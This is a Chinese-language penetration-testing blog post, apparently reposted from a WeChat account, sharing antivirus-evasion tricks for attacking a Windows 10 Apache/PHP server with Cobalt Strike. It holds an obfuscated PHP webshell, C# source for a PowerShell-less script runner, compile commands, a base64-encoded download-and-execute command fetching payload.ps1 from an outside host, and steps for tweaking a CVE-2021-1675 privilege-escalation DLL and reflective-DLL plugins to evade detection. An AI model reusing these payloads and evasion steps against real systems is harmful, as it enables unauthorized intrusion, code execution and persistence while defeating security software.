Webserver:Apache + PHP
OS:Win 10
C2:Cobalt Strike
AV:某60全家桶
模拟Webserver有一个命令执行的漏洞,简单粗暴
(这个webshell网上随便找的, php7不能用,总之就是写一个免杀的webshell)
echo "<?php class One{ function xiaoma($x){ $c=str_rot13('n!ff!re!nffreg'); $str=explode('!',$c)[3]; $str($x); } } $test=new One(); $test->xiaoma($_REQUEST['x']); ?>" >> new.php
通过代码直接调用System.Management,替代powershell.exe
简单的实现:
c#代码,保存为1.cs:
using System.Collections.ObjectModel;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using System.IO;
using System;
using System.Text;
namespace PSLess
{
class PSLess
{
static void Main(string[] args)
{
if(args.Length ==0)
Environment.Exit(1);
string temp = Base64Decode(args[0]);
string s=RunScript(temp);
Console.WriteLine(s);
Console.ReadKey();
}
public static string Base64Decode(string s)
{
return System.Text.Encoding.Default.GetString(System.Convert.FromBase64String(s));
}
private static string RunScript(string script)
{
Runspace MyRunspace = RunspaceFactory.CreateRunspace();
MyRunspace.Open();
Pipeline MyPipeline = MyRunspace.CreatePipeline();
MyPipeline.Commands.AddScript(script);
MyPipeline.Commands.Add("Out-String");
Collection<PSObject> outputs = MyPipeline.Invoke();
MyRunspace.Close();
StringBuilder sb = new StringBuilder();
foreach (PSObject pobject in outputs)
{
sb.AppendLine(pobject.ToString());
}
return sb.ToString();
}
}
}
利用CSC进行,每个电脑路径可以自己找一下,编译:
C:WindowsMicrosoft.NETFramework64v4.0.30319csc.exe /reference:C:WindowsMicrosoft.NETassemblyGAC_MSILSystem.Management.Automationv4.0_3.0.0.0__31bf3856ad364e35system.management.automation.dll /out:D:/power_base64.exe d:1.cs
通过webshell把生成的EXE上传到目标服务器上,用base64编码加载:
Ping 127.0.0.1 -n 5 && cmd /c power_base64.exe "SUVYICgobmV3LW9iamVjdCBuZXQud2ViY2xpZW50KS5kb3dubG9hZHN0cmluZygnaHR0cDovLzE5Mi4xNjguNDMuMTAwLzEvcGF5bG9hZC5wczEnKSk="
Base64编码的内容为:IEX ((new-object net.webclient).downloadstring('http://192.168.43.100/1/payload.ps1'))
Ps1脚本为CS默认生成的,没有做改动
Github有写好的插件,直接用来测试下
https://github.com/hlldz/CVE-2021-1675-LPE
需要自己手动编译一下,并且上传恶意dll需要和代码中的路径、名称一样
上传的DLL做一下免杀处理,就是简单改一下管道名字就好
修改步骤:
1、将默认生成的dll放入x96dbg里
2、Alt+f9
3、右键-->搜索-->所有模块-->字符串,双击此处会跳转到管道命名处
4、右键下图位置-->在内存窗口中转到-->常数
5、之后双击下图位置,随便改一个字符就好
6、把文件传上去,开始提权,主动扫描没有报毒,遗憾的是执行漏洞利用的时候被拦截了。
后来使用CS自带的提权,可以提权成功,就是会提示提权过程中生成的文件有病毒
提权的就到这里,主要是为了抛思路,各位师傅可以自行尝试各种方法。
另外再提一下CS插件开发的bdllspawn,反射型dll加载,由于是内存加载,自带一点免杀效果,可以利用该功能把一些EXP写进去。
Dll的模板可以到github下载:
https://github.com/stephenfewer/ReflectiveDLLInjection
CS插件编写可以参考这篇文章:
https://cloud.tencent.com/developer/article/1808276
这里简单写一下CS插件的步骤吧
1、下载dll模板
https://github.com/stephenfewer/ReflectiveDLLInjection
2、打开sln文件,把要实现的功能代码插入到dllmain函数中,编译就好
3、编译完成后编写cna文件
4、运行(先不要把恶意的exe文件放到指定位置,先放到别的地方)
5、注册表成功写入后,copy恶意EXE到指定位置,记住,用copy,不要上传
6、重启验证
END
【超详细 | Python】CS免杀-Shellcode Loader原理(python)
【超详细】CVE-2020-14882 | Weblogic未授权命令执行漏洞复现
【超详细 | 附PoC】CVE-2021-2109 | Weblogic Server远程代码执行漏洞复现
【漏洞分析 | 附EXP】CVE-2021-21985 VMware vCenter Server 远程代码执行漏洞
【CNVD-2021-30167 | 附PoC】用友NC BeanShell远程代码执行漏洞复现
【奇淫巧技】如何成为一个合格的“FOFA”工程师
【超详细】Microsoft Exchange 远程代码执行漏洞复现【CVE-2020-17144】
走过路过的大佬们留个关注再走呗
往期文章有彩蛋哦
本文始发于微信公众号(渗透Xiao白帽):【干货】Bypass AV 小技巧分享
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论